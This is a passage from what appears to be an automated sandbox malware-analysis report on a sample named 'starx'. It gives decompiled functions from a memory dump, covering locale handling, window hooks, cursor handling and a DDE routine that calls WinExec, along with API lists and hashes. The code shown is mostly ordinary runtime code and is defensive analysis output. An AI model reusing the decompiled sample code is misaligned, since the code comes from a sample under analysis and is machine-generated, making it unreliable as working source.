			E0040B0A4(void* __esi, void* __eflags) {
				char _v8;
				intOrPtr* _t18;
				intOrPtr _t26;
				void* _t27;
				long _t29;
				intOrPtr _t32;
				void* _t33;

				_t33 = __eflags;
				_push(0);
				_push(_t32);
				_push(0x40b13b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E0040AE1C(GetThreadLocale(), 0x40b150, 0x100b,  &_v8);
				_t29 = E00408068(0x40b150, 1, _t33);
				if(_t29 + 0xfffffffd - 3 < 0) {
					EnumCalendarInfoA(E0040AFF0, GetThreadLocale(), _t29, 4);
					_t27 = 7;
					_t18 = 0x47f76c;
					do {
						 *_t18 = 0xffffffff;
						_t18 = _t18 + 4;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					EnumCalendarInfoA(E0040B02C, GetThreadLocale(), _t29, 3);
				}
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(E0040B142);
				return E00403FC0( &_v8);
			}

0x0040b0a4
0x0040b0a7
0x0040b0ac
0x0040b0ad
0x0040b0b2
0x0040b0b5
0x0040b0cb
0x0040b0dd
0x0040b0e7
0x0040b0f7
0x0040b0fc
0x0040b101
0x0040b106
0x0040b106
0x0040b10c
0x0040b10f
0x0040b10f
0x0040b120
0x0040b120
0x0040b127
0x0040b12a
0x0040b12d
0x0040b13a

APIs

GetThreadLocale.KERNEL32(?,00000000,0040B13B,?,?,00000000), ref: 0040B0BC

Part of subcall function 0040AE1C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0040AE3A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0040B13B,?,?,00000000), ref: 0040B0EC
EnumCalendarInfoA.KERNEL32(Function_0000AFF0,00000000,00000000,00000004), ref: 0040B0F7
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0040B13B,?,?,00000000), ref: 0040B115
EnumCalendarInfoA.KERNEL32(Function_0000B02C,00000000,00000000,00000003), ref: 0040B120

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: d8eb87d8aeaf6a6b11d9f860de213351f14925ac92c86b1d690625f128d23bf3
Instruction ID: e42930d4087be0bbeada7f5dca78d36105a608568fb0cce1f8f05f0dbd50b315
Opcode Fuzzy Hash: d8eb87d8aeaf6a6b11d9f860de213351f14925ac92c86b1d690625f128d23bf3
Instruction Fuzzy Hash: F501F731640204ABE711B7718C22B6A725CDB46B18F214536F101FA6C2EB7D9E2081EC

Uniqueness

Uniqueness Score: -1.00%

Function 0045B1A4, Relevance: 7.5, APIs: 5, Instructions: 25
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045B1A4() {
				void* _t2;
				void* _t5;
				void* _t8;
				struct HHOOK__* _t10;

				if( *0x47fbd0 != 0) {
					_t10 =  *0x47fbd0; // 0x0
					UnhookWindowsHookEx(_t10);
				}
				 *0x47fbd0 = 0;
				if( *0x47fbd4 != 0) {
					_t2 =  *0x47fbcc; // 0x0
					SetEvent(_t2);
					if(GetCurrentThreadId() !=  *0x47fbc8) {
						_t8 =  *0x47fbd4; // 0x0
						WaitForSingleObject(_t8, 0xffffffff);
					}
					_t5 =  *0x47fbd4; // 0x0
					CloseHandle(_t5);
					 *0x47fbd4 = 0;
					return 0;
				}
				return 0;
			}

0x0045b1ab
0x0045b1ad
0x0045b1b3
0x0045b1b3
0x0045b1ba
0x0045b1c6
0x0045b1c8
0x0045b1ce
0x0045b1de
0x0045b1e2
0x0045b1e8
0x0045b1e8
0x0045b1ed
0x0045b1f3
0x0045b1fa
0x00000000
0x0045b1fa
0x0045b1ff

APIs

UnhookWindowsHookEx.USER32(00000000), ref: 0045B1B3
SetEvent.KERNEL32(00000000,0045D522,00000000,0045C5CF,?,?,004662A8,00000001,0045C68F,?,?,?,004662A8), ref: 0045B1CE
GetCurrentThreadId.KERNEL32 ref: 0045B1D3
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0045D522,00000000,0045C5CF,?,?,004662A8,00000001,0045C68F,?,?,?,004662A8), ref: 0045B1E8
CloseHandle.KERNEL32(00000000,00000000,0045D522,00000000,0045C5CF,?,?,004662A8,00000001,0045C68F,?,?,?,004662A8), ref: 0045B1F3

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CloseCurrentEventHandleHookObjectSingleThreadUnhookWaitWindows
String ID:
API String ID: 2429646606-0
Opcode ID: b46dd2fe87c3e37f3f560fff3fcbf56b0a7ae0517661f398d454b03418badd34
Instruction ID: f22c6edb9ad4553a8db417dce9f4942fcdd2a166b5ca9e6b22ea8715bcc351a9
Opcode Fuzzy Hash: b46dd2fe87c3e37f3f560fff3fcbf56b0a7ae0517661f398d454b03418badd34
Instruction Fuzzy Hash: 84F015B1604601DBC750FBB9EC79A1A37A4A304345F00057AB018D32E6D738A48CCB1E

Uniqueness

Uniqueness Score: -1.00%

Function 004476A0, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 287
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004476A0(intOrPtr* __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr* _v8;
				struct tagPOINT _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				struct tagMSG _v64;
				intOrPtr _v68;
				long _v72;
				char _v76;
				intOrPtr _t125;
				int _t126;
				int _t140;
				int _t147;
				intOrPtr* _t175;
				int _t186;
				void* _t191;
				intOrPtr* _t209;
				void* _t213;
				intOrPtr _t214;
				intOrPtr _t219;
				int _t232;
				intOrPtr _t233;
				int _t236;
				intOrPtr* _t242;
				intOrPtr _t262;
				intOrPtr _t278;
				intOrPtr _t289;
				int _t297;
				int _t300;
				int _t302;
				int _t303;
				int _t304;
				void* _t307;
				void* _t309;
				void* _t315;

				_t315 = __fp0;
				_t306 = _t307;
				_v76 = 0;
				_t242 = __edx;
				_v8 = __eax;
				_push(_t307);
				_push(0x447a78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t307 + 0xffffffb8;
				_t125 =  *__edx;
				_t309 = _t125 - 0x202;
				if(_t309 > 0) {
					_t126 = _t125 - 0x203;
					__eflags = _t126;
					if(__eflags == 0) {
						E004069D4( *((intOrPtr*)(__edx + 8)), 0,  &_v72);
						_t297 = E00446130(_v8,  &_v20,  &_v72, __eflags);
						__eflags = _t297;
						if(_t297 != 0) {
							__eflags =  *(_t297 + 4);
							if( *(_t297 + 4) != 0) {
								__eflags = _v20 - 2;
								if(_v20 == 2) {
									E0043B31C();
									E0043D7BC( *(_t297 + 4), 0, 0, 1);
								}
							}
						}
						L47:
						if( *((short*)(_v8 + 0x32)) != 0) {
							 *((intOrPtr*)(_v8 + 0x30))();
						}
						L49:
						_pop(_t262);
						 *[fs:eax] = _t262;
						_push(0x447a7f);
						return E00403FC0( &_v76);
					}
					_t140 = _t126 - 0xae2d;
					__eflags = _t140;
					if(_t140 == 0) {
						 *((intOrPtr*)(_v8 + 0x30))();
						__eflags =  *(__edx + 0xc);
						if( *(__edx + 0xc) != 0) {
							goto L49;
						}
						_t300 =  *((intOrPtr*)( *_v8 + 4))();
						__eflags = _v20 - 0x12;
						if(_v20 != 0x12) {
							__eflags = _t300;
							if(_t300 == 0) {
								goto L49;
							}
							_t147 = _v20 - 2;
							__eflags = _t147;
							if(_t147 == 0) {
								L46:
								E0043C45C(_t300,  &_v36);
								 *((intOrPtr*)( *_v8))();
								_v36 = _v36 - _v36 -  *((intOrPtr*)(_t300 + 0x40)) + _v36 -  *((intOrPtr*)(_t300 + 0x40));
								_v32 = _v32 - _v32 -  *((intOrPtr*)(_t300 + 0x44)) + _v32 -  *((intOrPtr*)(_t300 + 0x44));
								_v28 = _v28 -  *((intOrPtr*)(_t300 + 0x48)) - _v28 - _v36 +  *((intOrPtr*)(_t300 + 0x48)) - _v28 - _v36;
								_v24 = _v24 -  *((intOrPtr*)(_t300 + 0x4c)) - _v24 - _v32 +  *((intOrPtr*)(_t300 + 0x4c)) - _v24 - _v32;
								E0043CABC(_t300,  &_v76);
								E00404014( *((intOrPtr*)(_t242 + 8)) + 0x38, _v76);
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								goto L49;
							}
							__eflags = _t147 != 0x12;
							if(_t147 != 0x12) {
								goto L49;
							}
							goto L46;
						}
						E00403FC0( *((intOrPtr*)(__edx + 8)) + 0x38);
						goto L49;
					} else {
						__eflags = _t140 == 0x12;
						if(_t140 == 0x12) {
							_t175 =  *((intOrPtr*)(__edx + 8));
							__eflags =  *_t175 - 0xb00b;
							if( *_t175 == 0xb00b) {
								E00447588(_v8,  *((intOrPtr*)(_t175 + 4)),  *((intOrPtr*)(__edx + 4)));
							}
						}
						goto L47;
					}
				}
				if(_t309 == 0) {
					__eflags =  *(_v8 + 0x60);
					if(__eflags != 0) {
						E004470D4(_v8, __eflags);
					} else {
						E004069D4( *((intOrPtr*)(__edx + 8)), 0,  &_v16);
						_t302 = E00446130(_v8,  &_v20,  &_v16, __eflags);
						__eflags = _t302;
						if(_t302 != 0) {
							__eflags = _v20 - 0x14;
							if(_v20 == 0x14) {
								_t295 =  *((intOrPtr*)(_t302 + 4));
								_t278 =  *0x45210c; // 0x452158
								_t186 = E004033FC( *((intOrPtr*)(_t302 + 4)), _t278);
								__eflags = _t186;
								if(_t186 == 0) {
									E0043C9DC(_t295, 0);
								} else {
									E004591D8(_t295,  &_v20);
								}
							}
						}
					}
					goto L47;
				}
				_t191 = _t125 - 0x20;
				if(_t191 == 0) {
					GetCursorPos( &_v16);
					E0043C600( *((intOrPtr*)(_v8 + 0x14)),  &_v72,  &_v16);
					_v16.x = _v72;
					_v16.y = _v68;
					__eflags =  *((short*)(_t242 + 8)) - 1;
					if( *((short*)(_t242 + 8)) != 1) {
						goto L47;
					}
					__eflags = E004432A4( *((intOrPtr*)(_v8 + 0x14))) -  *((intOrPtr*)(_t242 + 4));
					if(__eflags != 0) {
						goto L47;
					}
					__eflags = E00441DD4( *((intOrPtr*)(_v8 + 0x14)),  &_v72, __eflags);
					if(__eflags <= 0) {
						goto L47;
					}
					_t303 = E00446130(_v8,  &_v20,  &_v16, __eflags);
					__eflags = _t303;
					if(_t303 == 0) {
						goto L47;
					}
					__eflags = _v20 - 0x12;
					if(_v20 != 0x12) {
						goto L47;
					}
					_t209 =  *0x47e904; // 0x47fbbc
					SetCursor(E0045A8D8( *_t209,  *((short*)(0x467c68 + ( *( *((intOrPtr*)(_t303 + 0x14)) + 0x10) & 0x000000ff) * 2))));
					 *((intOrPtr*)(_t242 + 0xc)) = 1;
					goto L49;
				}
				_t213 = _t191 - 0x1e0;
				if(_t213 == 0) {
					_t214 = _v8;
					__eflags =  *(_t214 + 0x60);
					if( *(_t214 + 0x60) != 0) {
						E00447188(_v8);
						E004069D4( *((intOrPtr*)(_t242 + 8)), 0,  &_v72);
						_t219 = _v8;
						 *(_t219 + 0x50) = _v72;
						 *((intOrPtr*)(_t219 + 0x54)) = _v68;
						E00447610(_t306);
						E00447188(_v8);
					}
					goto L47;
				}
				if(_t213 == 1) {
					E004069D4( *((intOrPtr*)(__edx + 8)), 0,  &_v16);
					_t256 =  &_v20;
					_t304 = E00446130(_v8,  &_v20,  &_v16, __eflags);
					__eflags = _t304;
					if(_t304 == 0) {
						goto L47;
					}
					__eflags = _v20 - 0x12;
					if(__eflags != 0) {
						__eflags = _v20 - 2;
						if(_v20 != 2) {
							goto L47;
						}
						_t232 = PeekMessageA( &_v64, E004432A4( *((intOrPtr*)(_v8 + 0x14))), 0x203, 0x203, 0);
						__eflags = _t232;
						if(_t232 == 0) {
							_t289 =  *0x4389e4; // 0x438a30
							_t236 = E004033FC( *((intOrPtr*)(_t304 + 4)), _t289);
							__eflags = _t236;
							if(_t236 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t304 + 4)))) + 0xc4))();
							}
						}
						_t233 =  *((intOrPtr*)(_t304 + 4));
						__eflags =  *((char*)(_t233 + 0x9b)) - 1;
						if( *((char*)(_t233 + 0x9b)) == 1) {
							__eflags =  *((char*)(_t233 + 0x5d)) - 1;
							if( *((char*)(_t233 + 0x5d)) == 1) {
								E0043D164(_t233, _t256 | 0xffffffff, 0, _t306, _t315);
							}
						}
						goto L49;
					}
					E00447074(_v8,  &_v16, _t304, __eflags);
				} else {
				}
			}

0x004476a0
0x004476a1
0x004476ab
0x004476ae
0x004476b0
0x004476b5
0x004476b6
0x004476bb
0x004476be
0x004476c1
0x004476c3
0x004476c8
0x004476ec
0x004476ec
0x004476f1
0x00447772
0x00447785
0x00447787
0x00447789
0x0044778f
0x00447793
0x00447799
0x0044779d
0x004477a3
0x004477b1
0x004477b1
0x0044779d
0x00447793
0x00447a4d
0x00447a55
0x00447a5f
0x00447a5f
0x00447a62
0x00447a64
0x00447a67
0x00447a6a
0x00447a77
0x00447a77
0x004476f3
0x004476f3
0x004476f8
0x0044798b
0x0044798e
0x00447992
0x00000000
0x00000000
0x004479a9
0x004479ab
0x004479af
0x004479c1
0x004479c3
0x00000000
0x00000000
0x004479cc
0x004479cc
0x004479cf
0x004479da
0x004479df
0x004479ee
0x004479f8
0x00447a03
0x00447a13
0x00447a23
0x00447a2b
0x00447a39
0x00447a47
0x00447a48
0x00447a49
0x00447a4a
0x00000000
0x00447a4a
0x004479d1
0x004479d4
0x00000000
0x00000000
0x00000000
0x004479d4
0x004479b7
0x00000000
0x004476fe
0x004476fe
0x00447701
0x00447707
0x0044770a
0x00447710
0x0044771f
0x0044771f
0x00447710
0x00000000
0x00447701
0x004476f8
0x004476ca
0x0044786e
0x00447872
0x004478d2
0x00447874
0x0044787a
0x0044788d
0x0044788f
0x00447891
0x00447897
0x0044789b
0x004478a1
0x004478a6
0x004478ac
0x004478b1
0x004478b3
0x004478c5
0x004478b5
0x004478b7
0x004478b7
0x004478b3
0x0044789b
0x00447891
0x00000000
0x00447872
0x004476d0
0x004476d3
0x004478e0
0x004478f1
0x004478f9
0x004478ff
0x00447902
0x00447907
0x00000000
0x00000000
0x00447918
0x0044791b
0x00000000
0x00000000
0x0044792c
0x0044792e
0x00000000
0x00000000
0x00447942
0x00447944
0x00447946
0x00000000
0x00000000
0x0044794c
0x00447950
0x00000000
0x00000000
0x00447965
0x00447972
0x00447977
0x00000000
0x00447977
0x004476d9
0x004476de
0x00447729
0x0044772c
0x00447730
0x00447739
0x00447744
0x00447749
0x0044774f
0x00447755
0x00447759
0x00447762
0x00447762
0x00000000
0x00447730
0x004476e1
0x004477c1
0x004477c6
0x004477d4
0x004477d6
0x004477d8
0x00000000
0x00000000
0x004477de
0x004477e2
0x004477f6
0x004477fa
0x00000000
0x00000000
0x0044781c
0x00447821
0x00447823
0x00447828
0x0044782e
0x00447833
0x00447835
0x0044783c
0x0044783c
0x00447835
0x00447842
0x00447845
0x0044784c
0x00447852
0x00447856
0x00447861
0x00447861
0x00447856
0x00000000
0x0044784c
0x004477ec
0x00000000
0x004476e7

APIs

GetCursorPos.USER32(?,00000000,00447A78), ref: 004478E0
SetCursor.USER32(00000000,?,00000000,00447A78), ref: 00447972

Strings

X!E, xrefs: 004478A6

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Cursor
String ID: X!E
API String ID: 3268636600-398919398
Opcode ID: 66ee8cc3dd8390cab779848a2d080ae98c95e5ce6d98dd21614e8e7bfa5aabde
Instruction ID: fd8d3bcf6b57a33843678280d4598f414e2aba0dbc5c81db6299b74033a3e986
Opcode Fuzzy Hash: 66ee8cc3dd8390cab779848a2d080ae98c95e5ce6d98dd21614e8e7bfa5aabde
Instruction Fuzzy Hash: F7C16F30A04219DFEB10DF69C98699EB7F1BF04304F1585A6E801AB756D738EF46CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0040B154, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B154(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _t41;
				signed int _t45;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t92;
				intOrPtr _t111;
				void* _t122;
				void* _t124;
				intOrPtr _t127;
				void* _t128;

				_t128 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t122 = __edx;
				_t124 = __eax;
				_push(_t127);
				_push(0x40b31e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127;
				_t92 = 1;
				E00403FC0(__edx);
				E0040AE1C(GetThreadLocale(), 0x40b334, 0x1009,  &_v12);
				if(E00408068(0x40b334, 1, _t128) + 0xfffffffd - 3 < 0) {
					while(1) {
						_t41 = E00404280(_t124);
						__eflags = _t92 - _t41;
						if(_t92 > _t41) {
							goto L28;
						}
						__eflags =  *(_t124 + _t92 - 1) & 0x000000ff;
						asm("bt [0x46710c], eax");
						if(( *(_t124 + _t92 - 1) & 0x000000ff) >= 0) {
							_t45 = E004087BC(_t124 + _t92 - 1, 2, 0x40b338);
							__eflags = _t45;
							if(_t45 != 0) {
								_t47 = E004087BC(_t124 + _t92 - 1, 4, 0x40b348);
								__eflags = _t47;
								if(_t47 != 0) {
									_t49 = E004087BC(_t124 + _t92 - 1, 2, 0x40b360);
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *(_t124 + _t92 - 1) - 0x59;
										__eflags = _t51;
										if(_t51 == 0) {
											L24:
											E00404288(_t122, 0x40b378);
										} else {
											__eflags = _t51 != 0x20;
											if(_t51 != 0x20) {
												E004041A8();
												E00404288(_t122, _v24);
											} else {
												goto L24;
											}
										}
									} else {
										E00404288(_t122, 0x40b36c);
										_t92 = _t92 + 1;
									}
								} else {
									E00404288(_t122, 0x40b358);
									_t92 = _t92 + 3;
								}
							} else {
								E00404288(_t122, 0x40b344);
								_t92 = _t92 + 1;
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						} else {
							_v8 = E0040C1C4(_t124, _t92);
							E004044E0(_t124, _v8, _t92,  &_v20);
							E00404288(_t122, _v20);
							_t92 = _t92 + _v8;
						}
					}
				} else {
					_t75 =  *0x47f744; // 0x9
					_t76 = _t75 - 4;
					if(_t76 == 0 || _t76 + 0xfffffff3 - 2 < 0) {
						_t77 = 1;
					} else {
						_t77 = 0;
					}
					if(_t77 == 0) {
						E00404014(_t122, _t124);
					} else {
						while(_t92 <= E00404280(_t124)) {
							_t83 =  *(_t124 + _t92 - 1) - 0x47;
							__eflags = _t83;
							if(_t83 != 0) {
								__eflags = _t83 != 0x20;
								if(_t83 != 0x20) {
									E004041A8();
									E00404288(_t122, _v16);
								}
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						}
					}
				}
				L28:
				_pop(_t111);
				 *[fs:eax] = _t111;
				_push(E0040B325);
				return E00403FE4( &_v24, 4);
			}

0x0040b154
0x0040b159
0x0040b15a
0x0040b15b
0x0040b15c
0x0040b15d
0x0040b161
0x0040b163
0x0040b167
0x0040b168
0x0040b16d
0x0040b170
0x0040b173
0x0040b17a
0x0040b192
0x0040b1aa
0x0040b2f4
0x0040b2f6
0x0040b2fb
0x0040b2fd
0x00000000
0x00000000
0x0040b213
0x0040b218
0x0040b21f
0x0040b25d
0x0040b262
0x0040b264
0x0040b283
0x0040b288
0x0040b28a
0x0040b2ab
0x0040b2b0
0x0040b2b2
0x0040b2c7
0x0040b2c7
0x0040b2c9
0x0040b2cf
0x0040b2d6
0x0040b2cb
0x0040b2cb
0x0040b2cd
0x0040b2e4
0x0040b2ee
0x00000000
0x00000000
0x00000000
0x0040b2cd
0x0040b2b4
0x0040b2bb
0x0040b2c0
0x0040b2c0
0x0040b28c
0x0040b293
0x0040b298
0x0040b298
0x0040b266
0x0040b26d
0x0040b272
0x0040b272
0x0040b2f3
0x0040b2f3
0x0040b221
0x0040b22a
0x0040b238
0x0040b242
0x0040b247
0x0040b247
0x0040b21f
0x0040b1b0
0x0040b1b0
0x0040b1b5
0x0040b1b8
0x0040b1c6
0x0040b1c2
0x0040b1c2
0x0040b1c2
0x0040b1ca
0x0040b205
0x0040b1cc
0x0040b1f1
0x0040b1d2
0x0040b1d2
0x0040b1d4
0x0040b1d6
0x0040b1d8
0x0040b1e1
0x0040b1eb
0x0040b1eb
0x0040b1d8
0x0040b1f0
0x0040b1f0
0x0040b1f0
0x0040b1fc
0x0040b1ca
0x0040b303
0x0040b305
0x0040b308
0x0040b30b
0x0040b31d

APIs

GetThreadLocale.KERNEL32(?,00000000,0040B31E,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0040B183

Part of subcall function 0040AE1C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0040AE3A

Strings

eeee, xrefs: 0040B28E
ggg, xrefs: 0040B268
yyyy, xrefs: 0040B275

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: dec6af40a6470df636fac36c9774bf81c9e12bb5fc28d6fbed9866e96a663857
Instruction ID: 83266ea08f9615f69d737154ea47d1fe4446ebc5418d62cdf147a236222f2771
Opcode Fuzzy Hash: dec6af40a6470df636fac36c9774bf81c9e12bb5fc28d6fbed9866e96a663857
Instruction Fuzzy Hash: 574124707141058BC711AAAA88963BEB29ADBC5344B60417FF841B73C6DB3CDD0292AD

Uniqueness

Uniqueness Score: -1.00%

Function 00464364, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
processCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00464364(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				char _v261;
				char _v268;
				intOrPtr _t47;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t80;
				intOrPtr _t88;
				intOrPtr _t95;
				void* _t105;
				void* _t110;

				_v268 = 0;
				_t105 = __eax;
				_push(_t110);
				_push(0x46453a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t110 + 0xfffffef8;
				_v5 = 0;
				if( *((intOrPtr*)(__eax + 0x38)) != 0) {
					L23:
					_pop(_t95);
					 *[fs:eax] = _t95;
					_push(0x464541);
					return E00403FC0( &_v268);
				}
				if(E00404280( *((intOrPtr*)(__eax + 0x30))) != 0 || E00404280( *((intOrPtr*)(_t105 + 0x34))) != 0) {
					__eflags =  *((intOrPtr*)(_t105 + 0xa0));
					if( *((intOrPtr*)(_t105 + 0xa0)) == 0) {
						E00408714( &_v261,  *((intOrPtr*)(_t105 + 0x30)));
						_t80 =  *0x47fe68; // 0x2331f58
						 *((intOrPtr*)(_t105 + 0xa0)) = DdeCreateStringHandleA( *(_t80 + 0x44),  &_v261, 0x3ec);
					}
					__eflags =  *((intOrPtr*)(_t105 + 0xa4));
					if(__eflags == 0) {
						E00408714( &_v261,  *((intOrPtr*)(_t105 + 0x34)));
						_t74 =  *0x47fe68; // 0x2331f58
						 *((intOrPtr*)(_t105 + 0xa4)) = DdeCreateStringHandleA( *(_t74 + 0x44),  &_v261, 0x3ec);
					}
					_t88 = E00464618(_t105,  *((intOrPtr*)(_t105 + 0xa4)),  *((intOrPtr*)(_t105 + 0xa0)), __eflags);
					__eflags = _t88;
					if(_t88 != 0) {
						L16:
						__eflags = _t88;
						if(_t88 != 0) {
							_t47 =  *((intOrPtr*)(_t105 + 0x58));
							__eflags = _t47;
							if(_t47 == 0) {
								 *((intOrPtr*)(_t105 + 0xa8)) = 1;
							} else {
								 *((intOrPtr*)(_t105 + 0xa8)) = _t47;
							}
							__eflags = E00464690(_t105);
							if(__eflags != 0) {
								E0040346C(_t105, __eflags);
								__eflags = 0;
								E0046473C(_t105, 0, 0);
								_v5 = 1;
							}
						} else {
							E004645D8(_t105);
						}
						goto L23;
					} else {
						_t57 = E00404280( *((intOrPtr*)(_t105 + 0x30)));
						__eflags = _t57;
						if(_t57 != 0) {
							L11:
							_t59 = E00404280( *((intOrPtr*)(_t105 + 0xc0)));
							__eflags = _t59;
							if(_t59 == 0) {
								_push( *((intOrPtr*)(_t105 + 0x30)));
								_push(0x464554);
								_push( *((intOrPtr*)(_t105 + 0x34)));
								E00404340();
								_t28 =  &_v268; // 0x464554
								E00408714( &_v261,  *_t28);
							} else {
								E00408714( &_v261,  *((intOrPtr*)(_t105 + 0xc0)));
							}
							__eflags = WinExec( &_v261, 7) - 0x20;
							if(__eflags >= 0) {
								_t88 = E00464618(_t105,  *((intOrPtr*)(_t105 + 0xa4)),  *((intOrPtr*)(_t105 + 0xa0)), __eflags);
							}
							goto L16;
						}
						_t70 = E00404280( *((intOrPtr*)(_t105 + 0xc0)));
						__eflags = _t70;
						if(_t70 == 0) {
							goto L16;
						}
						goto L11;
					}
				} else {
					E004645D8(_t105);
					goto L23;
				}
			}

0x00464372
0x00464378
0x0046437c
0x0046437d
0x00464382
0x00464385
0x00464388
0x00464390
0x00464521
0x00464523
0x00464526
0x00464529
0x00464539
0x00464539
0x004643a0
0x004643ba
0x004643c1
0x004643cc
0x004643dd
0x004643eb
0x004643eb
0x004643f1
0x004643f8
0x00464403
0x00464414
0x00464422
0x00464422
0x0046443b
0x0046443d
0x0046443f
0x004644d6
0x004644d6
0x004644d8
0x004644e3
0x004644e6
0x004644e8
0x004644f2
0x004644ea
0x004644ea
0x004644ea
0x00464503
0x00464505
0x0046450d
0x00464514
0x00464518
0x0046451d
0x0046451d
0x004644da
0x004644dc
0x004644dc
0x00000000
0x00464445
0x00464448
0x0046444d
0x0046444f
0x00464460
0x00464466
0x0046446b
0x0046446d
0x00464482
0x00464485
0x0046448a
0x00464498
0x0046449d
0x004644a9
0x0046446f
0x0046447b
0x0046447b
0x004644bc
0x004644bf
0x004644d4
0x004644d4
0x00000000
0x004644bf
0x00464457
0x0046445c
0x0046445e
0x00000000
0x00000000
0x00000000
0x0046445e
0x004643ae
0x004643b0
0x00000000
0x004643b0

APIs

DdeCreateStringHandleA.USER32 ref: 004643E6
DdeCreateStringHandleA.USER32 ref: 0046441D
WinExec.KERNEL32 ref: 004644B7

Strings

TEF, xrefs: 0046448D, 0046449D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateHandleString$Exec
String ID: TEF
API String ID: 265516448-2252669083
Opcode ID: d2a89b54c00a7b6738600583b2c367df9250bb97a9dccb6f70f9bd42fe139c98
